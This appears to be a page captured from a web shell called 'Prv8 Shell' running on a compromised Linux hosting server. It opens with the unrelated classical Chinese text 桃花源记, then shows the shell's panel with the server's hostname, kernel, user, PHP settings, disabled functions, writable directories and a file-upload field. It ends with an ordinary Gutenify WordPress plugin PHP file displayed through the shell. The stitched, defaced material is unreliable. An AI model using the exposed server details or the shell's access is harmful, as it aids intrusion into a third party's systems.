晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/tabatabaei/.trash/wp-content.1/plugins/gutenify/core/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tabatabaei/.trash/wp-content.1/plugins/gutenify/core/inc/class-admin-menu.php
<?php
/**
 * Templates
 *
 * @package Gutenify
 */

namespace Gutenify;

/**
 * Admin_Menu
 */
class Admin_Menu {
	/**
	 * Admin_Menu constructor.
	 */
	public function __construct() {
		// Register custom post type.
		add_action( 'admin_menu', array( $this, 'register_sub_menu' ) );
		add_action( 'init', array( $this, 'redirect_template_kit_page' ) );
	}

	public function redirect_template_kit_page() {
		if( ! is_admin() ) {
			return false;
		}
		if ( ! empty( $_GET['page'] ) && 'gutenify-template-kits' === $_GET['page'] ) {
			wp_redirect( admin_url( 'admin.php?page=gutenify-demo-importer' ) );
			exit;
		}
	}

	/**
	 * Register Admin menu.
	 */
	public function register_sub_menu() {
		add_menu_page(
			__( 'Gutenify: Getting Started' ),
			__( 'Gutenify' ),
			'manage_options',
			'gutenify',
			array( $this, 'getting_started_page_callback' ),
			'data:image/svg+xml;base64,' . base64_encode( GUTENIFY_BRAND_LOGO ),
			90
		);
		// add_submenu_page(
		// 	'gutenify',
		// 	__( 'Gutenify Template Kits' ),
		// 	__( 'Template Kits' ),
		// 	'manage_options',
		// 	'gutenify-template-kits',
		// 	array( &$this, 'template_kits_page_callback' )
		// );

		add_submenu_page(
			'gutenify',
			__( 'Gutenify Demo Importer' ),
			__( 'Demo Importer' ),
			'manage_options',
			'gutenify-demo-importer',
			array( $this, 'demo_importer_page_callback' )
		);

		// if ( defined( 'WP_CY_DEBUG' ) ) {
		// 	add_submenu_page(
		// 		'gutenify',
		// 		__( 'Gutenify Startup' ),
		// 		__( 'Start Up' ),
		// 		'manage_options',
		// 		'gutenify-start-up',
		// 		array( &$this, 'startup_page_callback' )
		// 	);
		// }


		// add_submenu_page( 'gutenify', __( 'Gutenify Templates' ), __( 'Templates' ), 'manage_options', 'edit.php?post_type=gutenify_template' );
		add_submenu_page(
			'gutenify',
			__( 'Gutenify Settings' ),
			__( 'Settings' ),
			'manage_options',
			'gutenify-settings',
			array( $this, 'settings_page_callback' )
		);
		// add_submenu_page(
		// 'themes.php', __( 'Gutenify Site Options' ), __( 'Site Options' ), 'manage_options', 'gutenify-site-options', array(&$this, 'site_options_page_callback')
		// );
	}

	public function demo_importer_page_callback() {
		echo '<div class="wrap">';
		echo '<div id="gutenify-demo-importer-app">Loading...</div>';
		echo '</div>';
	}

	/**
	 * Render submenu.
	 *
	 * @return void
	 */
	public function startup_page_callback() {
		echo '<div class="wrap">';
		echo '<div id="gutenify-start-up-app">Loading...</div>';
		echo '</div>';
	}

	/**
	 * Render submenu.
	 *
	 * @return void
	 */
	public function settings_page_callback() {
		echo '<div class="wrap">';
		echo '<div id="gutenify-settings-app">Loading...</div>';
		echo '</div>';
	}

	/**
	 * Render submenu.
	 *
	 * @return void
	 */
	// public function template_kits_page_callback() {
	// 	echo '<div class="wrap">';
	// 	echo '<div id="gutenify-template-kit-app">Loading...</div>';
	// 	echo '</div>';
	// }

	/**
	 * Render getting started page..
	 *
	 * @return void
	 */
	public function getting_started_page_callback() {
		$output = '<div class="wrap">';
		$output .= '<div id="gutenify-getting-started-app">Loading...</div>';
		$output .= '</div>';
		echo apply_filters( 'gutenify-getting-started-callback', $output );
	}

	/**
	 * Render submenu.
	 *
	 * @return void
	 */
	// public function site_options_page_callback() {
	// 	echo '<div class="wrap">';
	// 	echo '<div id="gutenify-site-options-app">Loading...</div>';
	// 	echo '</div>';
	// }

}

new Admin_Menu();

haha - 2025